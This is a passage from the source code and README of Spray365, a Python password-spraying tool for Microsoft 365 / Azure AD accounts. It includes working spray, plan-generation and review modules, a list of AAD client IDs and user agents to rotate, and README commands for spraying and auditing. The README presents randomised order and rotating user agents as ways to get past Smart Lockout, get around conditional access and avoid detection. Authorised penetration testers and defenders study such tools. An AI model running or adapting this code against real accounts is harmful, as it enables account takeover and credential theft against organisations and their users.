credentials" 123 | elif error_code == 53003: 124 | message = "Conditional access policy prevented access" 125 | else: 126 | message = "An unknown error occurred" 127 | 128 | return AuthError( 129 | timestamp, trace_id, correlation_id, message, error_code, raw_error_message 130 | ) 131 | 132 | 133 | def export_auth_results(auth_results: list[AuthResult]): 134 | export_file = "spray365_results_%s.json" % datetime.datetime.now().strftime( 135 | "%Y-%m-%d_%H-%M-%S" 136 | ) 137 | 138 | json_execution_plan = json.dumps(auth_results, default=lambda o: o.__dict__) 139 | 140 | with open(export_file, "w") as execution_plan_file: 141 | execution_plan_file.write(json_execution_plan) 142 | 143 | console.print_info("Authentication results saved to file '%s'" % export_file) 144 | -------------------------------------------------------------------------------- /modules/core/constants.py: -------------------------------------------------------------------------------- 1 | # Source for endpoint_ids and client_ids: https://github.com/Gerenios/AADInternals/blob/master/AccessToken_utils.ps1 2 | 3 | endpoint_ids = { 4 | "aad_graph_api": "https://graph.windows.net", 5 | "azure_mgmt_api": "https://management.azure.com", 6 | "cloudwebappproxy": "https://proxy.cloudwebappproxy.net/registerapp", 7 | "ms_graph_api": "https://graph.microsoft.com", 8 | "msmamservice": "https://msmamservice.api.application", 9 | "office_mgmt": "https://manage.office.com", 10 | "officeapps": "https://officeapps.live.com", 11 | "outlook": "https://outlook.office365.com", 12 | "sara": "https://api.diagnostics.office.com", 13 | "spacesapi": "https://api.spaces.skype.com", 14 | "webshellsuite": "https://webshell.suite.office.com", 15 | "windows_net_mgmt_api": "https://management.core.windows.net", 16 | } 17 | 18 | client_ids = { 19 | "aad_account": "0000000c-0000-0000-c000-000000000000", 20 | "aad_brokerplugin": "6f7e0f60-9401-4f5b-98e2-cf15bd5fd5e3", 21 | "aad_cloudap": "38aa3b87-a06d-4817-b275–7a316988d93b", 22 | "aad_join": "b90d5b8f-5503-4153-b545-b31cecfaece2", 23 | "aad_pinredemption": "06c6433f-4fb8-4670-b2cd-408938296b8e", 24 | "aadconnectv2": "6eb59a73-39b2-4c23-a70f-e2e3ce8965b1", 25 | "aadrm": "90f610bf-206d-4950-b61d-37fa6fd1b224", 26 | "aadsync": "cb1056e2-e479-49de-ae31-7812af012ed8", 27 | "adibizaux": "74658136-14ec-4630-ad9b-26e160ff0fc6", 28 | "apple_internetaccounts": "f8d98a96-0999-43f5-8af3-69971c7bb423", 29 | "az": "1950a258-227b-4e31-a9cf-717495945fc2", 30 | "azure_mgmt": "84070985-06ea-473d-82fe-eb82b4011c9d", 31 | "azure_mobileapp_android": "0c1307d4-29d6-4389-a11c-5cbe7f65d7fa", 32 | "azureadmin": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", 33 | "azuregraphclientint": "7492bca1-9461-4d94-8eb8-c17896c61205", 34 | "azuremdm": "29d9ed98-a469-4536-ade2-f981bc1d605e", 35 | "dynamicscrm": "00000007-0000-0000-c000-000000000000", 36 | "exo": "a0c73c16-a7e3-4564-9a95-2bdf47383716", 37 | "graph_api": "1b730954-1685-4b74-9bfd-dac224a7b894", 38 | "intune_mam": "6c7e8096-f593-4d72-807f-a5f86dcc9c77", 39 | "ms_authenticator": "4813382a-8fa7-425e-ab75-3b753aab3abb", 40 | "ms_myaccess": "19db86c3-b2b9-44cc-b339-36da233a3be2", 41 | "msdocs_tryit": "7f59a773-2eaf-429c-a059-50fc5bb28b44", 42 | "msmamservice": "27922004-5251-4030-b22d-91ecd9a37ea4", 43 | "o365exo": "00000002-0000-0ff1-ce00-000000000000", 44 | "o365spo": "00000003-0000-0ff1-ce00-000000000000", 45 | "o365suiteux": "4345a7b9-9a63-4910-a426-35363201d503", 46 | "office": "d3590ed6-52b3-4102-aeff-aad2292ab01c", 47 | "office_mgmt": "389b1b32-b5d5-43b2-bddc-84ce938d6737", 48 | "office_mgmt_mobile": "00b41c95-dab0-4487-9791-b9d2c32c80f2", 49 | "office_online": "bc59ab01-8403-45c6-8796-ac3ef710b3e3", 50 | "office_online2": "57fb890c-0dab-4253-a5e0-7188c88b2bb4", 51 | "onedrive": "ab9b8c07-8f02-4f72-87fa-80105867a763", 52 | "patnerdashboard": "4990cffe-04e8-4e8b-808a-1175604b879", 53 | "powerbi_contentpack": "2a0c3efa-ba54-4e55-bdc0-770f9e39e9ee", 54 | "pta": "cb1056e2-e479-49de-ae31-7812af012ed8", 55 | "sara": "d3590ed6-52b3-4102-aeff-aad2292ab01c", 56 | "skype": "d924a533-3729-4708-b3e8-1d2445af35e3", 57 | "sp_mgmt": "9bc3ab49-b65d-410a-85ad-de819febfddc", 58 | "synccli": "1651564e-7ce4-4d99-88be-0a65050d8dc3", 59 | "teams": "1fec8e78-bce4-4aaf-ab1b-5451cc387264", 60 | "teams_client": "1fec8e78-bce4-4aaf-ab1b-5451cc387264", 61 | "teamswebclient": "5e3ce6c0-2b1f-4285-8d4b-75ee78787346", 62 | "webshellsuite": "89bee1f7-5e6e-4d8a-9f3d-ecd601259da7", 63 | "windows_configdesigner": "de0853a1-ab20-47bd-990b-71ad5077ac7b", 64 | "www": "00000006-0000-0ff1-ce00-000000000000", 65 | } 66 | 67 | user_agents = { 68 | "android": "Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.50 Mobile Safari/537.36", 69 | "apple_iphone_safari": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1", 70 | "apple_mac_firefox": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0", 71 | "linux_firefox": "Mozilla/5.0 (X11; Linux i686; rv:94.0) Gecko/20100101 Firefox/94.0", 72 | "win_chrome_win10": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36", 73 | "win_ie11_win7": "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", 74 | "win_ie11_win8": "Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko", 75 | "win_ie11_win8.1": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko", 76 | "win_ie11_win10": "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko", 77 | "win_edge_win10": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44", 78 | } 79 | 80 | # Error codes that also indicate a successful login; see https://github.com/AzureAD/microsoft-authentication-library-for-dotnet/wiki/Client-Applications#common-invalid-client-errors 81 | auth_complete_success_error_codes = [7000218, 700016, 65001] 82 | 83 | auth_partial_success_error_codes = [50053, 50055, 50057, 50158, 50076, 53003] 84 | -------------------------------------------------------------------------------- /modules/review/review.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | import json 4 | 5 | import click 6 | 7 | from modules.core.auth_result import AuthResult 8 | from modules.core.output import console 9 | from modules.review.helpers import decode_auth_result_item 10 | 11 | auth_results: list[AuthResult] = [] 12 | 13 | 14 | @click.command( 15 | "review", 16 | help="View data from password spraying results to identify valid accounts and more", 17 | ) 18 | @click.argument("results", type=click.File(mode="r"), required=True) 19 | @click.option("--show_invalid_creds", is_flag=True, default=False, show_default=True) 20 | @click.option("--show_invalid_users", is_flag=True, default=False, show_default=True) 21 | @click.option("--show_valid_aad_access", is_flag=True, default=False, show_default=True) 22 | def command( 23 | results: click.File, 24 | show_invalid_creds: bool, 25 | show_invalid_users: bool, 26 | show_valid_aad_access: bool, 27 | ): 28 | console.print_info("Reviewing Spray365 results from '%s'" % results.name) 29 | 30 | raw_auth_results = "" 31 | for line in results: 32 | raw_auth_results += line 33 | 34 | auth_results: list[AuthResult] = [] 35 | 36 | try: 37 | auth_results = json.loads(raw_auth_results, object_hook=decode_auth_result_item) 38 | except: 39 | console.print_error( 40 | "Unable to read results file '%s'. Perhaps it is formatted incorrectly?" 41 | % results.name 42 | ) 43 | 44 | valid_users: list[str] = [] 45 | invalid_users: list[str] = [] 46 | 47 | valid_creds: list[tuple[str, str]] = [] 48 | valid_creds_aad_details: dict[str, list[str]] = dict() 49 | partial_valid_auth_results: list[tuple[str, str, str]] = [] 50 | invalid_auth_results: list[tuple[str, str, str]] = [] 51 | 52 | for auth_result in auth_results: 53 | if auth_result.auth_complete_success: 54 | append_if_not_present(valid_users, auth_result.credential.email_address) 55 | append_if_not_present( 56 | valid_creds, 57 | (auth_result.credential.email_address, auth_result.credential.password), 58 | ) 59 | if auth_result.credential.endpoint[0] not in valid_creds_aad_details: 60 | valid_creds_aad_details[auth_result.credential.endpoint[0]] = [ 61 | auth_result.credential.client_id[0] 62 | ] 63 | else: 64 | if ( 65 | auth_result.credential.client_id[0] 66 | not in valid_creds_aad_details[auth_result.credential.endpoint[0]] 67 | ): 68 | valid_creds_aad_details[auth_result.credential.endpoint[0]].append( 69 | auth_result.credential.client_id[0] 70 | ) 71 | 72 | elif auth_result.auth_partial_success: 73 | append_if_not_present(valid_users, auth_result.credential.email_address) 74 | append_if_not_present( 75 | partial_valid_auth_results, 76 | ( 77 | auth_result.credential.email_address, 78 | auth_result.credential.password, 79 | auth_result.auth_error.message, 80 | ), 81 | ) 82 | else: 83 | if auth_result.auth_error.code != 50034: 84 | append_if_not_present(valid_users, auth_result.credential.email_address) 85 | else: 86 | append_if_not_present( 87 | invalid_users, auth_result.credential.email_address 88 | ) 89 | append_if_not_present( 90 | invalid_auth_results, 91 | ( 92 | auth_result.credential.email_address, 93 | auth_result.credential.password, 94 | auth_result.auth_error.message, 95 | ), 96 | ) 97 | 98 | console.print_info("%d authentication attempts" % len(auth_results)) 99 | 100 | console.print_info("%d valid user accounts:" % len(valid_users)) 101 | for email_address in valid_users: 102 | console.print_info("\t%s" % (email_address)) 103 | 104 | console.print_info("%d invalid (non-existent) user accounts:" % len(invalid_users)) 105 | if show_invalid_users: 106 | for email_address in invalid_users: 107 | console.print_info("\t%s" % (email_address)) 108 | else: 109 | console.print_info("\tOutput hidden. Show with --show_invalid_users") 110 | 111 | console.print_info("%d valid credentials:" % len(valid_creds)) 112 | for (email_address, password) in valid_creds: 113 | console.print_info("\t%s / %s" % (email_address, password)) 114 | 115 | if show_valid_aad_access: 116 | console.print_info( 117 | "%d AAD endpoints are accessible (endpoint / client):" 118 | % (len(valid_creds_aad_details)) 119 | ) 120 | for (endpoint, client_ids) in valid_creds_aad_details.items(): 121 | console.print_info("\t%s" % (endpoint)) 122 | for client_id in client_ids: 123 | console.print_info("\t\t%s" % (client_id)) 124 | 125 | console.print_info( 126 | "%d partial-valid credentials (likely due to MFA / Conditional Access Policy):" 127 | % len(partial_valid_auth_results) 128 | ) 129 | for (email_address, password, error_message) in partial_valid_auth_results: 130 | console.print_info("\t%s / %s: %s" % (email_address, password, error_message)) 131 | 132 | real_invalid_auth_result_count = sum( 133 | [1 if t[0] in valid_users else 0 for t in invalid_auth_results] 134 | ) 135 | 136 | console.print_info("%d invalid credentials:" % real_invalid_auth_result_count) 137 | if show_invalid_creds: 138 | for (email_address, password, error_message) in invalid_auth_results: 139 | if email_address in valid_users: 140 | console.print_info( 141 | "\t%s / %s: %s" % (email_address, password, error_message) 142 | ) 143 | else: 144 | console.print_info("\tOutput hidden. Show with --show_invalid_creds") 145 | 146 | 147 | def append_if_not_present(list: list[any], value: any) -> bool: 148 | if value in list: 149 | return False 150 | else: 151 | list.append(value) 152 | return True 153 | -------------------------------------------------------------------------------- /modules/spray/spray.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | import datetime 4 | import json 5 | import time 6 | 7 | import click 8 | from click_option_group import AllOptionGroup, optgroup 9 | from colorama import Fore 10 | 11 | from modules.core.auth_result import AuthResult 12 | from modules.core.credential import Credential 13 | from modules.core.output import console 14 | from modules.generate import helpers as generate_helpers 15 | from modules.spray import helpers 16 | from modules.spray.helpers import decode_execution_plan_item 17 | from modules.spray.spray_exception_wrapper import SprayExceptionWrapper 18 | 19 | auth_results: list[AuthResult] = [] 20 | 21 | 22 | @click.command( 23 | "spray", 24 | cls=SprayExceptionWrapper, 25 | help="Password spray user accounts using an existing execution plan", 26 | ) 27 | @click.option( 28 | "--execution_plan", 29 | "-ep", 30 | help="File path to execution plan", 31 | metavar="", 32 | type=click.File(mode="r"), 33 | required=True, 34 | ) 35 | @click.option( 36 | "--lockout", 37 | "-l", 38 | metavar="", 39 | type=int, 40 | help="Number of account lockouts to observe before aborting spraying session (disable with 0)", 41 | default=5, 42 | show_default=True, 43 | ) 44 | @click.option( 45 | "--resume_index", 46 | "-R", 47 | metavar="", 48 | type=click.IntRange(1), 49 | help="Resume spraying passwords from this position in the execution plan", 50 | ) 51 | @click.option( 52 | "--ignore_success", 53 | "-i", 54 | metavar="", 55 | is_flag=True, 56 | help="Ignore successful authentication attempts for users and continue to spray creden" 57 | "tials. Setting this flag will enable spraying credentials for users even if Spra" 58 | "y365 has already identified valid credentials.", 59 | default=False, 60 | show_default=True, 61 | ) 62 | @optgroup.group("Proxy options", cls=AllOptionGroup) 63 | @optgroup.option( 64 | "--proxy", 65 | "-x", 66 | metavar="", 67 | type=str, 68 | help="HTTP Proxy URL (format: http[s]://proxy.address:port)", 69 | ) 70 | @optgroup.option( 71 | "--insecure", 72 | "-k", 73 | metavar="", 74 | is_flag=True, 75 | help="Disable HTTPS certificate verification", 76 | default=False, 77 | show_default=True, 78 | ) 79 | def command( 80 | execution_plan: click.File, lockout, resume_index, ignore_success, proxy, insecure 81 | ): 82 | console.print_info("Processing execution plan '%s'" % execution_plan.name) 83 | 84 | raw_execution_plan = "" 85 | 86 | for line in execution_plan: 87 | raw_execution_plan += line 88 | 89 | credentials: list[Credential] = [] 90 | 91 | try: 92 | credentials = json.loads( 93 | raw_execution_plan, object_hook=decode_execution_plan_item 94 | ) 95 | except: 96 | console.print_error( 97 | "Unable to process execution plan '%s'. Perhaps it is formatted incorrectly?" 98 | % execution_plan.name 99 | ) 100 | 101 | number_of_creds_to_spray = len(credentials) 102 | console.print_info( 103 | "Identified %d credentials in the provided execution plan" 104 | % number_of_creds_to_spray 105 | ) 106 | 107 | if resume_index and resume_index > number_of_creds_to_spray: 108 | console.print_error( 109 | "Resume index '%d' is larger than the number of credentials (%d) in the execution plan" 110 | % (resume_index, number_of_creds_to_spray) 111 | ) 112 | 113 | if resume_index: 114 | console.print_info( 115 | "Password spraying will continue with credential %d out of %d" 116 | % (resume_index, number_of_creds_to_spray) 117 | ) 118 | 119 | estimated_spray_duration = generate_helpers.get_spray_runtime( 120 | credentials[resume_index:] 121 | ) 122 | spray_completion_datetime = ( 123 | datetime.datetime.now() + datetime.timedelta(seconds=estimated_spray_duration) 124 | ).strftime("%Y-%m-%d %H:%M:%S") 125 | 126 | console.print_info( 127 | "Password spraying will take at least %d seconds, and should finish around %s" 128 | % (estimated_spray_duration, spray_completion_datetime) 129 | ) 130 | 131 | if lockout: 132 | console.print_info("Lockout threshold is set to %d accounts" % lockout) 133 | else: 134 | console.print_warning("Lockout threshold is disabled") 135 | 136 | if ignore_success: 137 | console.print_warning( 138 | "Ignore Success flag is enabled (this may cause lockouts!)" 139 | ) 140 | 141 | if proxy: 142 | console.print_info("Proxy (HTTP/HTTPS) set to '%s'" % proxy) 143 | 144 | console.print_info("Starting to spray credentials") 145 | 146 | spray_size = len(credentials) 147 | lockouts_observed = 0 148 | start_offset = resume_index - 1 if resume_index else 0 149 | 150 | credentialed_users: list[str] = [] 151 | 152 | for spray_idx in range(start_offset, len(credentials)): 153 | cred = credentials[spray_idx] 154 | 155 | # Only attempt authentication if we haven't observed valid credentials for the user 156 | if ignore_success or cred.username not in credentialed_users: 157 | _print_credential_authentication_output(cred, (spray_idx, spray_size)) 158 | time.sleep(cred.initial_delay) 159 | auth_result = helpers.authenticate_credential(cred, proxy, insecure) 160 | _print_credential_authentication_output( 161 | cred, (spray_idx, spray_size), auth_result 162 | ) 163 | auth_results.append(auth_result) 164 | 165 | if auth_result.auth_error and auth_result.auth_error.code == 50053: 166 | lockouts_observed += 1 167 | 168 | if lockout and lockouts_observed >= lockout: 169 | console.print_error( 170 | "Lockout threshold reached, aborting password spray" 171 | ) 172 | 173 | if auth_result.auth_complete_success: 174 | credentialed_users.append(cred.username) 175 | else: 176 | console.print_spray_output( 177 | spray_idx + 1, 178 | spray_size, 179 | cred.client_id[0], 180 | cred.endpoint[0], 181 | cred.user_agent[0], 182 | cred.username, 183 | cred.password, 184 | "%s (Skipped)" % Fore.BLUE, 185 | None, 186 | False, 187 | ) 188 | 189 | if spray_idx < spray_size - 1: 190 | time.sleep(cred.delay) 191 | 192 | spray_idx += 1 193 | 194 | helpers.export_auth_results(auth_results) 195 | 196 | 197 | def _print_credential_authentication_output( 198 | credential: Credential, 199 | spray_position: tuple[int, int], 200 | auth_result: AuthResult = None, 201 | ): 202 | if auth_result is None: 203 | status = "%s(waiting...)" % Fore.BLUE 204 | elif auth_result.auth_complete_success: 205 | status = "%s(Authentication Success)" % Fore.GREEN 206 | elif auth_result.auth_partial_success: 207 | status = "%s(Partial Success: %s)" % ( 208 | Fore.LIGHTYELLOW_EX, 209 | auth_result.auth_error.message, 210 | ) 211 | else: 212 | status = "%s(Failed: %s)" % (Fore.RED, auth_result.auth_error.message) 213 | 214 | line_terminator = "\r" if not auth_result else None 215 | flush_line = True if auth_result else False 216 | 217 | console.print_spray_output( 218 | spray_position[0] + 1, 219 | spray_position[1], 220 | credential.client_id[0], 221 | credential.endpoint[0], 222 | credential.user_agent[0], 223 | credential.username, 224 | credential.password, 225 | status, 226 | line_terminator, 227 | flush_line, 228 | ) 229 | -------------------------------------------------------------------------------- /modules/generate/helpers.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | import itertools 4 | import random 5 | import typing 6 | from pathlib import Path 7 | from typing import Callable 8 | 9 | import click 10 | 11 | from modules.core.credential import Credential 12 | from modules.core.output import console 13 | from modules.generate.configuration import Configuration 14 | 15 | 16 | def check_if_execution_plan_exists(conf: Configuration): 17 | if Path(conf.execution_plan.name).exists(): 18 | console.print_error( 19 | "Unable to overwrite existing file '%s' with execution plan" 20 | % conf.execution_plan.name 21 | ) 22 | 23 | 24 | def get_users_and_passwords(conf: Configuration) -> tuple[list[str], list[str]]: 25 | user_list: list[str] = [] 26 | password_list: list[str] = [] 27 | for line_idx, line in enumerate(conf.user_file): 28 | line = line.rstrip() 29 | line_data = line.split(":", maxsplit=1) 30 | 31 | if len(line_data) != 2: 32 | raise click.BadParameter( 33 | "Invalid user:pass combo in user_file: '%s' on line %d" 34 | % (line, line_idx + 1) 35 | ) 36 | 37 | user_list.append(line_data[0]) 38 | password_list.append(line_data[1]) 39 | return (user_list, password_list) 40 | 41 | 42 | def get_passwords(conf: Configuration) -> list[str]: 43 | password_list: list[str] = [] 44 | if conf.password_file: 45 | for line in conf.password_file: 46 | line = line.rstrip() 47 | password_list.append(line) 48 | elif conf.password: 49 | password_list.append(conf.password) 50 | 51 | return password_list 52 | 53 | 54 | def get_users(conf: Configuration) -> list[str]: 55 | user_list: list[str] = [] 56 | for line in conf.user_file: 57 | line = line.rstrip() 58 | user_list.append(line) 59 | return user_list 60 | 61 | 62 | def get_custom_aad_values(prefix: str, input_values: list[str]) -> dict[str, str]: 63 | result = {} 64 | for i in range(len(input_values)): 65 | result["%s%d" % (prefix, i + 1)] = input_values[i] 66 | return result 67 | 68 | 69 | def get_credentials_dict_by_key( 70 | credentials_list: list[Credential], grouping_func 71 | ) -> dict[str, list[Credential]]: 72 | sorted_combinations = sorted(credentials_list, key=grouping_func) 73 | 74 | grouped_combinations = {} 75 | for key, value in itertools.groupby(sorted_combinations, grouping_func): 76 | grouped_combinations[key] = list(value) 77 | return grouped_combinations 78 | 79 | 80 | def _insert_random_initial_delays( 81 | credentials: dict[str, list[Credential]], min_delay 82 | ) -> None: 83 | for spray_group in list(credentials.keys())[1:]: 84 | for cred_idx, cred in enumerate(credentials[spray_group]): 85 | previous_cred_vals = next( 86 | ( 87 | (c_idx, c) 88 | for c_idx, c in enumerate(credentials[spray_group - 1]) 89 | if c.username == cred.username 90 | ), 91 | None, 92 | ) 93 | previous_cred_idx = previous_cred_vals[0] 94 | 95 | previous_group_delays = sum( 96 | [ 97 | c.delay + c.initial_delay 98 | for c in credentials[spray_group - 1][previous_cred_idx:] 99 | ] 100 | ) 101 | current_group_delays = sum( 102 | [c.delay + c.initial_delay for c in credentials[spray_group][:cred_idx]] 103 | ) 104 | prior_delays = previous_group_delays + current_group_delays 105 | 106 | if prior_delays < min_delay: 107 | additional_needed_delay = min_delay - prior_delays 108 | cred.initial_delay = additional_needed_delay 109 | 110 | 111 | # TODO: Replace typing.Union below with modern Union added in PEP 604 (Python 3.10+) 112 | def get_spray_runtime( 113 | credentials: typing.Union[ 114 | typing.List[Credential], typing.Dict[int, list[Credential]] 115 | ] 116 | ) -> int: 117 | runtime = 0 118 | if type(credentials) is dict: 119 | for (idx, credentials) in credentials.items(): 120 | runtime += get_spray_runtime(credentials) 121 | return runtime 122 | elif type(credentials) is list: 123 | runtime = sum( 124 | [credential.delay + credential.initial_delay for credential in credentials] 125 | ) 126 | return runtime 127 | 128 | 129 | def get_credentials( 130 | conf: Configuration, 131 | users: list[str], 132 | passwords: list[str], 133 | aad_clients: dict[str, str], 134 | aad_endpoints: dict[str, str], 135 | user_agents: dict[str, str], 136 | user_and_password_pairs: bool = False, 137 | ) -> list[Credential]: 138 | if any("@" in username or "\\" in username for username in users): 139 | console.print_error( 140 | "Username encountered in a format like a UPN (user@domain.com) or samAccountName (domain.com\\user). Expected just username." 141 | ) 142 | 143 | unique_users = list(dict.fromkeys(users)) 144 | 145 | if user_and_password_pairs: 146 | if len(users) != len(passwords): 147 | console.print_error( 148 | "Unable to generate credentials from different sized lists" 149 | ) 150 | source_data = zip(unique_users, passwords) 151 | else: 152 | source_data = itertools.product(unique_users, passwords) 153 | 154 | results = [] 155 | client_id_values = list(aad_clients.items()) 156 | endpoint_id_values = list(aad_endpoints.items()) 157 | user_agent_values = list(user_agents.items()) 158 | 159 | for (username, password) in source_data: 160 | username = username.strip() 161 | results.append( 162 | Credential( 163 | conf.domain, 164 | username, 165 | password, 166 | random.choice(client_id_values), 167 | random.choice(endpoint_id_values), 168 | random.choice(user_agent_values), 169 | conf.delay, 170 | ) 171 | ) 172 | 173 | return results 174 | 175 | 176 | def get_credential_products( 177 | conf: Configuration, 178 | users: list[str], 179 | passwords: list[str], 180 | aad_clients: dict[str, str], 181 | aad_endpoints: dict[str, str], 182 | user_agents: dict[str, str], 183 | user_and_password_pairs: bool = False, 184 | ) -> list[Credential]: 185 | if any("@" in username or "\\" in username for username in users): 186 | console.print_error( 187 | "Username encountered in a format like a UPN (user@domain.com) or samAccountName (domain.com\\user). Expected just username." 188 | ) 189 | 190 | unique_users = list(dict.fromkeys(users)) 191 | 192 | if user_and_password_pairs: 193 | if len(users) != len(passwords): 194 | console.print_error( 195 | "Unable to generate credentials from different sized lists" 196 | ) 197 | username_pass_data = zip(unique_users, passwords) 198 | else: 199 | username_pass_data = itertools.product(unique_users, passwords) 200 | 201 | results = [] 202 | client_id_values = list(aad_clients.items()) 203 | endpoint_id_values = list(aad_endpoints.items()) 204 | user_agent_values = list(user_agents.items()) 205 | 206 | source_data = itertools.product( 207 | username_pass_data, client_id_values, endpoint_id_values, user_agent_values 208 | ) 209 | 210 | for ((username, password), aad_client, aad_endpoint, user_agent) in source_data: 211 | results.append( 212 | Credential( 213 | conf.domain, 214 | username, 215 | password, 216 | aad_client, 217 | aad_endpoint, 218 | user_agent, 219 | conf.delay, 220 | ) 221 | ) 222 | 223 | return results 224 | 225 | 226 | def get_shuffled_credentials( 227 | conf: Configuration, credentials: list[Credential] 228 | ) -> dict[str, list[Credential]]: 229 | temp_auth_creds = {} 230 | possible_auth_creds: dict[int, tuple[int, list[Credential]]] = {} 231 | 232 | username_grouping_func: Callable[ 233 | [Credential], bool 234 | ] = lambda credential: credential.username 235 | 236 | for i in range(0, conf.shuffle_optimization_attempts): 237 | console.print_info( 238 | "Generated potential execution plan %d/%d" 239 | % (i + 1, conf.shuffle_optimization_attempts) 240 | ) 241 | credentials_by_user = get_credentials_dict_by_key( 242 | credentials, username_grouping_func 243 | ) 244 | 245 | for user in credentials_by_user.keys(): 246 | random.shuffle(credentials_by_user[user]) 247 | 248 | group_index = 0 249 | while sum([len(u) for u in credentials_by_user.values()]) > 0: 250 | cred_grouping = [] 251 | users = [user for user, creds in credentials_by_user.items() if len(creds)] 252 | random.shuffle(users) 253 | 254 | while users: 255 | random_user_index = random.randrange(0, len(users)) 256 | user = users.pop(random_user_index) 257 | 258 | random_cred_index = random.randrange(0, len(credentials_by_user[user])) 259 | random_cred = credentials_by_user[user].pop(random_cred_index) 260 | 261 | cred_grouping.append(random_cred) 262 | temp_auth_creds[group_index] = cred_grouping 263 | group_index += 1 264 | 265 | _insert_random_initial_delays(temp_auth_creds, conf.min_loop_delay) 266 | 267 | spray_runtime = get_spray_runtime(temp_auth_creds) 268 | possible_auth_creds[i] = (spray_runtime, temp_auth_creds) 269 | 270 | runtimes = [ 271 | (spray_attempt[1][0], spray_attempt[0]) 272 | for spray_attempt in possible_auth_creds.items() 273 | ] 274 | fastest_runtime = min(runtimes) 275 | slowest_runtime = max(runtimes) 276 | 277 | console.print_info( 278 | "Optimal execution plan identified (#%d)" % (fastest_runtime[1] + 1) 279 | ) 280 | console.print_info( 281 | "Spraying will take %d seconds, %d seconds faster than the slowest execution plan generated" 282 | % (fastest_runtime[0], (slowest_runtime[0] - fastest_runtime[0])) 283 | ) 284 | console.print_info( 285 | "This random execution plan will take %d seconds longer than spraying with a simple (non-random) execution plan" 286 | % (fastest_runtime[0] - (len(credentials) * conf.delay)) 287 | ) 288 | 289 | return possible_auth_creds[fastest_runtime[1]][1] 290 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Spray 365 Logo](screenshots/spray365_logo.png) 2 | 3 |

4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 |

21 | 22 | # What is Spray365? 23 | Spray365 is a password spraying tool that identifies valid credentials for Microsoft accounts (Office 365 / Azure AD). How is Spray365 different from the many other password spraying tools that are already available? Spray365 enables passwords to be sprayed from an "execution plan". While having a pre-generated execution plan that describe the spraying operation well before it occurs has many other benefits that Spray365 leverages, this also allows password sprays to be resumed (`-R` option) after a network error or other interruption. While it is easiest to generate a Spray365 execution plan using Spray365 directly, other tools that produce a compatible JSON structure make it easy to build unique password spraying workflows. 24 | 25 | Spray365 exposes a few options that are useful when spraying credentials. Random user agents can be used to detect and bypass insecure conditional access policies that are configured to limit the types of allowed devices. Similarly, the `--shuffle_auth_order` argument is a great way to spray credentials in a less-predictable manner. This option was added in an attempt to bypass intelligent account lockouts (e.g., Azure Smart Lockout). While it’s not perfect, randomizing the order in which credentials are attempted have other benefits too, like making the detection of these spraying operations even more difficult. Spray365 also supports proxying traffic over HTTP/HTTPS, which integrates well with other tools like Burp Suite for manipulating the source of the spraying operation. 26 | 27 | ### Generating an Execution Plan (Step 1) 28 | ![Generating Execution Plan](screenshots/demo_generate.png) 29 | 30 | ### Spraying Credentials with an Execution Plan (Step 2) 31 | ![Spraying Execution Plan](screenshots/demo_spray.png) 32 | 33 | ### Review Spray365 Results (Step 3) 34 | ![Reviewing Password Spraying Results](screenshots/demo_review.png) 35 | 36 | ## Getting Started 37 | 38 | ### Requirements 39 | - Python 40 | - 3.9 (minimum) 41 | - 3.10 (recommended) 42 | 43 | ### Installation 44 | Clone the repository, install the required Python packages, and run Spray365! 45 | ```bash 46 | $ git clone https://github.com/MarkoH17/Spray365 47 | $ cd Spray365 48 | ~/Spray365$ pip3 install -r requirements.txt -U 49 | ~/Spray365$ python3 spray365.py 50 | ``` 51 | 52 | ### Usage 53 | #### Generate an Execution Plan (Normal) 54 | An execution plan is needed to spray credentials, so we need to create one! Spray365 can generate its own execution plan by running the generate command in "normal" mode: (`spray365.py generate normal`). See help (`spray365.py generate -h / spray365.py generate normal -h`) for more detail. 55 | ```bash 56 | $ python3 spray365.py generate normal -ep -d -u -pf 57 | ``` 58 | e.g. 59 | ```bash 60 | $ python3 spray365.py generate normal -ep ex-plan.s365 -d example.com -u usernames -pf passwords 61 | ``` 62 | 63 | #### Generate an Execution Plan (Audit) 64 | Spray365 can also audit multifactor authentication (MFA) and conditional access policy configurations by spraying valid credentials. Audit-style execution plans attempt all combinations of User-Agent + AAD Client ID + AAD Endpoint ID for a given pair of credentials. 65 | 66 | Spray365 can generate an audit-style execution plan by running the generate command in "audit" mode: (`spray365.py generate audit`). See help (`spray365.py generate -h / spray365.py generate audit -h`) for more detail. While it is possible to provide a list of users and passwords separately (`-u` and `-pf`), these options better suit execution plans for password spraying (not auditing), which would likely cause many invalid login attempts. Instead, consider `-u / --user_file` with `--passwords_in_userfile`, which will instruct Spray365 to extract the passwords from "user_file" by splitting each line in the input file on a colon, where the value before the colon is treated as the username, and the value after the colon is treated as the password (e.g. `:`, `jsmith:Password01`). 67 | 68 | ```bash 69 | $ python3 spray365.py generate audit -ep -d -u --passwords_in_userfile 70 | ``` 71 | e.g. 72 | ```bash 73 | $ python3 spray365.py generate audit -ep ex-plan.s365 -d example.com -u usernames --passwords_in_userfile 74 | ``` 75 | 76 | #### Spraying an Execution Plan 77 | Once an execution plan is created, Spray365 can be used to process it. Running Spray365 in "spray" (`spray365.py spray`) mode will process the specified execution plan and spray the appropriate credentials. All types of execution plans (normal and audit) can be processed in 